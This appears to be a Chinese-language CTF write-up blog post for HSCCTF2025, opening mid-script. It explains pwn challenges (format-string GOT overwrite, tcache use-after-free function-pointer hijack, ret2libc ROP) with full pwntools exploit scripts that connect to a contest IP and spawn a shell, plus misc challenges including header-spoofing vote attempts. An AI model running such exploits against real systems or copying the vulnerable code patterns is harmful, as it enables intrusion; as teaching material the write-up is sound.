# 构造 Payload: 读取第 21 个参数指向的字符串
payload = b'%21$s'
# 接收提示信息 "Enter your name: "
io.recvuntil(b'name: ')
# 发送 Payload
print(f"[+] Sending payload: {payload}")
io.sendline(payload)
# 接收输出结果
try:
response = io.recv()
print("\n[+] Received output:")
print(response.decode(errors='ignore'))
if b'HSCCTF{' in response:
print("\n[SUCCESS] Flag found!")
except EOFError:
print("[-] Connection closed unexpectedly")
io.close()
if __name__ == '__main__':
exploit()

PWN4#

基本信息

  • 文件名: pwn
  • 架构: x86-64
  • 保护机制:
    • RELRO: Partial RELRO (GOT表可写)
    • Stack Canary: Disabled (无栈溢出保护)
    • NX: Enabled (栈不可执行)
    • PIE: Enabled (地址随机化)

逆向分析

程序逻辑非常简单,主要功能在 echo 函数中:

  1. 使用 fgets 读取用户输入到栈上缓冲区。
  2. 使用 printf 输出缓冲区内容。
  3. 使用 strcmp 比较输入是否为 “exit”,如果是则退出,否则循环执行。
// 伪代码
void echo() {
char buf[0x100];
while (1) {
fgets(buf, 0x100, stdin);
printf(buf); // Format String Vulnerability!
if (strcmp(buf, "exit\n") == 0) break;
}
}

漏洞点: printf(buf) 存在格式化字符串漏洞。由于程序是一个循环,我们可以多次利用该漏洞进行泄漏和写入。

2. 利用思路

由于开启了 PIE,我们需要先泄漏地址。利用步骤如下:

  1. 泄漏 PIE 基址:

    • 通过 fuzz 发现偏移为 6。
    • 查看栈上数据,发现 %41$p 处存储了一个指向程序代码段的返回地址 (偏移 0xa03)。
    • 计算公式: PIE_Base = leaked_addr - 0xa03
  2. 泄漏 Libc 地址:

    • 利用 %7$s (对应栈上偏移 6 的位置,我们需要填充 padding) 来读取任意地址内容。
    • 构造 payload 读取 printf 的 GOT 表内容。
    • 通过泄漏的 printf 地址,确定 libc 版本 (本题环境推测为 Ubuntu 16.04, glibc 2.23)。
    • 计算 system 函数地址。
  3. 劫持控制流 (GOT Hijacking):

    • 由于 Partial RELRO,GOT 表是可写的。
    • 使用格式化字符串漏洞的 %n 功能,将 printf 的 GOT 表项修改为 system 函数的地址。
    • 这里使用了 pwntoolsfmtstr_payload 自动生成 payload。
  4. Get Shell:

    • 修改成功后,下一次调用 printf(buf) 实际上会执行 system(buf)
    • 发送 /bin/sh,程序执行 system("/bin/sh"),获得 shell。

exp

from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
host = '150.138.81.18'
port = 12355
def exploit():
r = remote(host, port)
# === 第一步:泄漏 PIE 基址 ===
# %41$p 泄漏栈上的返回地址,其偏移为 0xa03
r.sendline(b"%41$p")
resp1 = r.recvline()
leak_pie = int(resp1.decode().strip(), 16)
pie_base = leak_pie - 0xa03
log.success(f"PIE Base: {hex(pie_base)}")
# === 第二步:泄漏 Libc 地址 ===
# 计算 printf 的 GOT 表地址
printf_got = pie_base + 0x201020
# 构造 payload: "%7$s" + "AAAA" + p64(printf_got)
# 这里的 p64(printf_got) 会被放在栈上偏移 7 的位置
payload2 = b"%7$sAAAA" + p64(printf_got)
r.sendline(payload2)
# 接收泄漏数据
resp2 = r.recvuntil(b"AAAA")
leak_bytes = resp2[:-4]
leak_printf = u64(leak_bytes.ljust(8, b'\x00'))
log.success(f"Printf Leak: {hex(leak_printf)}")
# 计算 system 地址
# 根据泄漏地址分析,环境为 libc-2.23
# offset_printf = 0x55800, offset_system = 0x45390
system_addr = leak_printf - 0x10470
log.success(f"System Addr: {hex(system_addr)}")
# === 第三步:改写 GOT 表 ===
# 将 printf 的 GOT 表地址修改为 system 地址
# fmtstr_payload 会自动计算偏移 (偏移 6)
writes = {printf_got: system_addr}
payload3 = fmtstr_payload(6, writes, write_size='short')
log.info("Sending fmtstr payload to overwrite GOT...")
r.sendline(payload3)
# 消耗掉 %n 产生的大量输出
try:
while True:
chunk = r.recv(4096, timeout=1)
if not chunk: break
except:
pass
# === 第四步:Get Shell ===
# 此时 printf 变成了 system,发送 /bin/sh 即可
log.info("Sending /bin/sh...")
r.sendline(b"/bin/sh")
# 读取 Flag
r.sendline(b"cat flag")
r.interactive()
if __name__ == "__main__":
exploit()

PWN2#

1. 基本信息

  • 文件名: pwn
  • 架构: x86-64 ELF
  • 保护机制:
    • RELRO: Partial RELRO
    • Stack: No canary found
    • NX: NX enabled (堆栈不可执行)
    • PIE: No PIE (代码段地址固定,利于利用)

2. 程序功能

这是一个经典的堆菜单题(Heap Note Manager),主要功能如下:

  1. Create Note: 创建笔记。先申请 0x18 字节的结构体,再根据用户输入的大小申请内容堆块。
  2. Edit Note: 编辑笔记内容。
  3. Delete Note: 删除笔记。
  4. View Note: 查看笔记。

3. 漏洞分析

通过逆向分析 delete_note 函数,我们发现程序在 free 掉结构体指针和内容指针后,没有将全局数组 notes 中的指针置空

// delete_note 伪代码逻辑
free(notes[index]->content);
free(notes[index]);
// 缺少 notes[index] = NULL; 导致悬挂指针

这导致了 Use-After-Free (UAF) 漏洞。我们可以继续通过 view_noteedit_note 访问已经被释放的内存。

4. 结构体分析

通过分析 create_note,我们可以还原出 Note 的结构体:

struct Note {
int size; // 偏移 0x00
char *content; // 偏移 0x08
void (*print_func)(char *); // 偏移 0x10 (函数指针)
};

值得注意的是,每个 Note 都有一个函数指针 print_func,默认指向 default_print。在 view_note 时,程序会直接调用这个函数指针来输出内容。

利用点: 如果我们能覆盖这个函数指针,将其指向后门函数,就能劫持控制流。

目标是覆盖 notes[0]->print_func 为后门函数 win (0x401236)。

  1. Tcache 机制: 小于 0x420 字节的 chunk 释放后会进入 Tcache。Tcache 是后进先出 (LIFO) 的。
  2. 构造堆布局:
    • 申请两个 Note (Note 0, Note 1),大小设为 100 (避免内容 chunk 和结构体 chunk 混在同一个 bin 里,不过这里结构体固定是 0x20 大小的 chunk)。
    • create_note 时,会先 malloc(0x18) (结构体,实际分配 0x20),再 malloc(size) (内容)。
  3. 触发 Free:
    • delete_note(0): 释放 Note 0 的 Content 和 Struct。Struct 0 进入 Tcache(0x20)。
    • delete_note(1): 释放 Note 1 的 Content 和 Struct。Struct 1 进入 Tcache(0x20)。
    • 此时 Tcache(0x20) 链表: Struct 1 -> Struct 0
  4. 类型混淆 (Type Confusion):
    • 申请一个新的 Note (Note 2),关键点是将内容大小也设为 24 (请求 24 字节,系统会分配 0x20 的 chunk)。
    • 分配过程:
      1. 分配 Note 2 的 结构体 (0x18):拿到 Tcache 里的第一个块 (原 Struct 1)。
      2. 分配 Note 2 的 内容 (24):拿到 Tcache 里的第二个块 (原 Struct 0)。
    • 现在,Note 2 的内容指针指向了 Note 0 的结构体所在的内存!
  5. 劫持控制流:
    • 向 Note 2 写入数据,实际上就是向 Note 0 的结构体写入数据。
    • 构造 payload:填充 16 字节 (覆盖 sizecontent 指针) + win 函数地址。
    • 这样 Note 0 的 print_func 指针就被修改为了 win 函数地址。
  6. 触发后门:
    • 调用 view_note(0)。程序使用悬挂指针 notes[0],读取被修改的函数指针并执行,从而获得 Shell。

exp

from pwn import *
# 连接远程环境
r = remote('150.138.81.18', 11112)
# 定义交互函数
def create_note(size, content):
r.sendlineafter(b'Choice: ', b'1')
r.sendlineafter(b'Size: ', str(size).encode())
r.sendlineafter(b'Content: ', content)
def delete_note(index):
r.sendlineafter(b'Choice: ', b'3')
r.sendlineafter(b'Index: ', str(index).encode())
def view_note(index):
r.sendlineafter(b'Choice: ', b'4')
r.sendlineafter(b'Index: ', str(index).encode())
# 后门函数地址
win_addr = 0x401236
# 1. 创建两个 Note
# Note 0: Struct A, Content B
create_note(100, b"AAAA")
# Note 1: Struct C, Content D
create_note(100, b"BBBB")
# 2. 删除 Note,将结构体 Chunk 放入 Tcache(0x20)
# delete 0 -> Tcache: A
delete_note(0)
# delete 1 -> Tcache: C -> A
delete_note(1)
# 3. 申请 Note 2,利用类型混淆
# 申请 Struct 2 (0x18) -> 拿到 C
# 申请 Content 2 (24) -> 拿到 A (即 Note 0 的结构体)
# 我们写入的内容会覆盖 Note 0 的结构体
# 结构体布局: [size (8)] [content_ptr (8)] [func_ptr (8)]
# Payload: 16字节填充 + win函数地址
payload = b"A" * 16 + p64(win_addr)
create_note(24, payload)
# 4. 查看 Note 0 触发利用
# Note 0 已经被释放,但指针未清空 (UAF)
# view_note 会调用 notes[0]->print_func,此时已被修改为 win
r.sendlineafter(b'Choice: ', b'4')
r.sendlineafter(b'Index: ', b'0')
# 5. 获取 Shell
r.sendline(b'cat flag')
r.interactive()

PWN7#

题目信息

  • 题目名称: PWN7
  • 题目类型: CTF Pwn (Stack Buffer Overflow)
  • 架构: x86-64 (amd64)

1. 逆向分析

首先使用 checksec 检查程序的保护机制:

Terminal window
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护分析:

  • No Canary: 栈溢出时没有 Canary 检查,利用简单。
  • No PIE: 代码段地址固定,方便寻找 ROP gadgets。
  • NX Enabled: 栈不可执行,无法直接在栈上运行 shellcode,需要使用 ROP。

漏洞点: 通过 IDA 或 objdump 分析二进制文件,发现 main 函数调用了一个子函数(地址 0x4011f6),该函数存在明显的栈溢出漏洞:

  • 缓冲区大小:约为 14 字节(rbp-0xe)。
  • 读取输入:使用 read(0, buf, 0x100) 读取了 256 字节。
  • 溢出空间:0x100 - 14 = 242 字节,足够构造 ROP 链。

2. 利用思路 (Exploit Strategy)

由于开启了 NX 保护且没有后门函数,我们需要采用 Ret2Libc 的攻击方式。

第一步:泄漏 Libc 地址

利用 puts 函数打印 puts 在 GOT 表中的真实地址。

  • 构造 ROP 链:pop_rdi_ret -> got_puts -> plt_puts -> main_addr
  • 这里的 main_addr 是为了在泄漏地址后让程序重新执行,以便我们再次进行溢出攻击。

第二步:计算并执行 System

根据泄漏的 puts 地址,我们可以确定远程环境使用的 Libc 版本,并计算出 system 函数和 /bin/sh 字符串的内存地址。

  • Libc 基址 = leaked_puts - offset_puts
  • system_addr = Libc 基址 + offset_system
  • bin_sh_addr = Libc 基址 + offset_str_bin_sh

第三步:获取 Shell

再次发送 Payload 调用 system("/bin/sh")

  • 构造 ROP 链:pop_rdi_ret -> bin_sh_addr -> ret (用于栈对齐) -> system_addr
  • 注意:在 x86-64 系统中,调用 system 时栈必须按 16 字节对齐。如果直接调用可能会崩溃,因此我们加入一个单纯的 ret gadget 来调整栈指针。

3. Libc 版本识别

通过泄漏的地址(通常以 e50 结尾),结合工具或尝试,确定远程环境为 Ubuntu 22.04 (glibc 2.35)

  • puts 偏移: 0x80e50
  • /bin/sh 偏移: 0x1d8678
  • system 偏移: 0x50d70
  1. exp
from pwn import *
# 设置环境上下文
context.arch = 'amd64'
context.log_level = 'info'
# 题目连接信息
host = '150.138.81.18'
port = 10265
# ---------------------------
# 1. 地址与 Gadgets 定义
# ---------------------------
# 从二进制文件中找到的 Gadgets
pop_rdi = 0x4016c1
ret_gadget = 0x4016c2
# PLT 和 GOT 表地址
puts_plt = 0x4010a0
puts_got = 0x404018
main_addr = 0x4012ab # 重新跳转回 main
# Libc 偏移 (基于 Ubuntu 22.04 / glibc 2.35)
offset_puts = 0x80e50
offset_str_bin_sh = 0x1d8678
offset_system = 0x50d70
# 连接远程服务
p = remote(host, port)
# ---------------------------
# 2. Payload 1: 泄漏 Libc 地址
# ---------------------------
p.recvuntil(b'Input something: ')
# 偏移量计算: 14 字节缓冲 + 8 字节 Saved RBP = 22 字节
offset = 22
payload1 = b'A' * offset
payload1 += p64(pop_rdi)
payload1 += p64(puts_got) # rdi = puts_got
payload1 += p64(puts_plt) # call puts
payload1 += p64(main_addr) # return to main
print("[-] Sending Payload 1 to leak libc...")
p.sendline(payload1)
# 解析输出
content = p.recvuntil(b'Welcome!\n')
# 查找 Welcome! 之前的数据,提取泄漏的地址
idx = content.find(b'Welcome!')
# puts 输出地址后会有换行符,取前 6 字节
leak_bytes = content[idx-7:idx-1]
leak_puts = u64(leak_bytes.ljust(8, b'\x00'))
print(f"[+] Leaked puts address: {hex(leak_puts)}")
# 计算基址
libc_base = leak_puts - offset_puts
print(f"[+] Libc Base: {hex(libc_base)}")
# 计算 System 和 /bin/sh 地址
system_addr = libc_base + offset_system
bin_sh_addr = libc_base + offset_str_bin_sh
print(f"[+] System Address: {hex(system_addr)}")
print(f"[+] /bin/sh Address: {hex(bin_sh_addr)}")
# ---------------------------
# 3. Payload 2: Get Shell
# ---------------------------
p.recvuntil(b'Input something: ')
payload2 = b'A' * offset
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr) # rdi = "/bin/sh"
payload2 += p64(ret_gadget) # Stack Alignment (16 bytes)
payload2 += p64(system_addr) # call system
print("[-] Sending Payload 2 to get shell...")
p.sendline(payload2)
# 交互模式
p.sendline(b'cat flag')
p.interactive()

PWN6#

1. 基本信息

  • 文件: pwn_chall (原名 pwn (1))
  • 架构: x86-64 ELF
  • 保护机制:
    • RELRO: Partial RELRO (GOT表可写)
    • Canary: 无 (No Canary)
    • NX: 开启 (堆栈不可执行)
    • PIE: 关闭 (No PIE, 代码段地址固定)

2. 程序功能

这是一个经典的堆管理器 (Heap Manager) 题目,提供了以下功能:

  1. Create Note: 分配两个堆块。
    • 结构体 chunk (0x18 bytes -> malloc 实际上分配 0x20)。
    • 内容 chunk (用户指定大小)。
    • 结构体包含:size (4 bytes), content_ptr (8 bytes), print_func_ptr (8 bytes)。
  2. Edit Note: 修改指定 index 的 Note 内容。
  3. Delete Note: 释放 Note 的结构体和内容 chunk。
  4. View Note: 调用结构体中的 print_func_ptr 函数指针来打印内容。默认函数是 default_print

3. 漏洞点 (Vulnerability)

delete_note 函数中,虽然调用了 free 释放了堆块,但是没有将全局数组 notes 中的指针置空 (NULL)。 这导致了一个 Use-After-Free (UAF) 漏洞。我们可以继续对已经释放的 Note 进行 EditView 操作。

我们的目标是劫持程序的控制流。由于程序中存在一个后门函数 win (地址 0x401236),我们只需要想办法调用它即可。 Note 结构体中有一个函数指针 print_func,在 View Note 时会被调用。利用 UAF 和堆内存布局的特性,我们可以覆盖这个指针。

步骤 1: 堆布局 (Heap Layout)

我们利用 glibc 的 Tcache 机制。Tcache 是后进先出 (LIFO) 的。

  1. 申请两个 Note (Note 0, Note 1):

    • 内容大小设为 0x38,这样内容 chunk 的大小为 0x40
    • 结构体 chunk 固定为 0x20 (malloc 0x18)。
  2. 释放这两个 Note:

    • 此时 Tcache (0x20) 链表: Struct_1 -> Struct_0
    • 此时 Tcache (0x40) 链表: Content_1 -> Content_0
    • notes[0] 仍然指向 Struct_0 (悬挂指针)。
  3. 申请一个新的 Note (Note 2):

    • 我们申请内容大小为 0x18 (即内容 chunk 大小为 0x20)。
    • 系统首先申请结构体 (0x20): 从 Tcache (0x20) 拿走 Struct_1
    • 系统接着申请内容 (0x20): 从 Tcache (0x20) 拿走 Struct_0
    • 关键点: Note 2 的内容 chunk 现在正好占据了原 Note 0 的结构体 chunk 的内存位置!

步骤 2: 篡改函数指针 (Overwriting Function Pointer)

由于 Note 2 的内容就是 Note 0 的结构体,我们可以通过 Edit Note 2 来修改 Note 0 的结构体数据。

Note 结构体布局:

  • Offset 0x00: Size
  • Offset 0x08: Content Pointer
  • Offset 0x10: Print Function Pointer

我们构造 payload:

  • 填充前 16 字节 (0x10 bytes)。
  • 写入 win 函数的地址 (0x401236) 到偏移 0x10 处。

步骤 3: 触发后门 (Triggering Win)

调用 View Note 0。 程序会尝试读取 notes[0] (即 Struct_0),并调用其中的函数指针。由于我们已经将其修改为 win 函数地址,程序将执行 win(),从而获得 shell。

exp

from pwn import *
# 配置
context.arch = 'amd64'
win_addr = 0x401236
# 连接远程
io = remote('150.138.81.18', 12458)
def create_note(size, content):
io.sendlineafter(b'Choice: ', b'1')
io.sendlineafter(b'Size: ', str(size).encode())
io.sendafter(b'Content: ', content)
def edit_note(index, content):
io.sendlineafter(b'Choice: ', b'2')
io.sendlineafter(b'Index: ', str(index).encode())
io.sendafter(b'New content: ', content)
def delete_note(index):
io.sendlineafter(b'Choice: ', b'3')
io.sendlineafter(b'Index: ', str(index).encode())
def view_note(index):
io.sendlineafter(b'Choice: ', b'4')
io.sendlineafter(b'Index: ', str(index).encode())
log.info("=== 开始利用 ===")
# 1. 申请两个 Note,内容大小为 0x38 (对应 0x40 的 chunk)
# 结构体 chunk 总是 0x20
log.info("创建 Note 0 和 Note 1")
create_note(0x38, b'A'*0x38)
create_note(0x38, b'B'*0x38)
# 2. 释放它们,填入 Tcache
log.info("删除 Note 0 和 Note 1")
delete_note(0)
delete_note(1)
# 3. 申请 Note 2,内容大小为 0x18 (对应 0x20 的 chunk)
# Malloc(Struct 0x18) -> 取出原 Struct_1
# Malloc(Content 0x18) -> 取出原 Struct_0
# 此时:Note 2 的 Content 指向了 Note 0 的 Struct
log.info("创建 Note 2,使其内容覆盖 Note 0 的结构体")
create_note(0x18, b'C'*0x18)
# 4. 编辑 Note 2,覆盖 Note 0 结构体中的函数指针
# 结构体偏移 0x10 处是函数指针
log.info("篡改 Note 0 的函数指针为 win 函数地址")
payload = b'A'*16 + p64(win_addr)
edit_note(2, payload)
# 5. 查看 Note 0,触发被篡改的函数指针
log.info("触发 View Note 0 -> 执行 win()")
view_note(0)
# 发送 shell 命令并获取 flag
io.sendline(b'cat flag')
io.recvuntil(b'HSCCTF')
flag = b'HSCCTF' + io.recvline()
log.success(f"Flag obtained: {flag.decode().strip()}")
io.interactive()

MISC#

Harris#

这道题怪怪的

  1. 初始票数 : 哈里斯 0 票,特朗普 0 票,我点了一下特朗普。
  2. 倒计时 : 页面底部有一个倒计时。
  3. 逻辑推测 : 题目可能要求我们改变投票结果,或者等待选举结束查看结果。 2. 尝试过程 (Attempts) 我们首先尝试通过脚本进行投票,试图增加哈里斯的票数来逆转结果:
  • 常规投票 : 发送 GET /vote/person1 ,服务器返回 302 跳转回主页,但票数未增加。
  • IP 伪造 : 猜测后端可能有 IP 限制(即每个 IP 只能投一票),我们在 HTTP 头中添加了 X-Forwarded-For , Client-IP 等字段并使用随机 IP 进行爆破。
  • 并发攻击 : 尝试使用多线程并发请求。
  • 其他尝试 : 修改 User-Agent、Cookie 等。 结果 : 所有投票尝试均未改变票数(始终保持 0:1)。这可能意味着投票功能被服务端禁用,或者是假的接口,亦或是不仅验证 IP 还验证了其他复杂的指纹(或者仅仅是设定好的剧情)。

但是怪怪的我没看出来就放了一会 ,再回来刷新一下就有flag了,怀疑是服务器后端逻辑判断时间已到 ( remainingTime <= 0 ),且特朗普票数 (1) > 哈里斯票数 (0),输出胜利页面及 Flag。

image-20251205215337066

CALC#

做出500道数学题 exp

from pwn import *
import re
import time
HOST = '150.138.81.18'
PORT = 12903
context.log_level = 'info' # Switch back to info to reduce noise, or debug if needed
def solve():
while True:
try:
log.info(f"Connecting to {HOST}:{PORT}...")
r = remote(HOST, PORT, timeout=10)
break
except Exception as e:
log.warning(f"Connection failed: {e}")
time.sleep(2)
buffer = ""
count = 0
while True:
try:
data = r.recv(timeout=5)
if not data:
if not r.connected():
log.info("Connection closed.")
break
continue
buffer += data.decode(errors='ignore')
# Check for flag pattern specifically
if "flag{" in buffer.lower() or "ctf{" in buffer.lower():
print("\n[+] Found potential flag!")
print(buffer)
try:
print(r.recvall(timeout=2).decode(errors='ignore'))
except:
pass
return
while "?" in buffer:
q_idx = buffer.find('?')
current_chunk = buffer[:q_idx+1]
match = re.search(r'(\d+)\s*([+\-*/])\s*(\d+)\s*=\s*\?', current_chunk)
if match:
num1, op, num2 = match.groups()
ans = 0
if op == '/':
ans = int(int(num1) // int(num2))
elif op == '+':
ans = int(num1) + int(num2)
elif op == '-':
ans = int(num1) - int(num2)
elif op == '*':
ans = int(num1) * int(num2)
count += 1
if count % 10 == 0:
log.info(f"Answered {count} questions...")
r.sendline(str(ans).encode())
buffer = buffer[q_idx+1:]
else:
# Discard up to '?' if no equation found (e.g. welcome message part)
buffer = buffer[q_idx+1:]
except KeyboardInterrupt:
log.info("Interrupted")
break
except EOFError:
log.info("EOF")
break
except Exception as e:
log.error(f"Error: {e}")
break
r.close()
if __name__ == "__main__":
solve()

Sign_in#

image-20251206000844244

Signin_WhoRwe#

image-20251206001350426

Hidden bullet comments#

翻弹幕 有点hyw

image-20251206004109730

HSCCTF2025
https://return-sin.github.io/-sinQwQ-/posts/hscctf2025/
Author
sinQwQ
Published at
2025-12-07
License
CC BY-NC-SA 4.0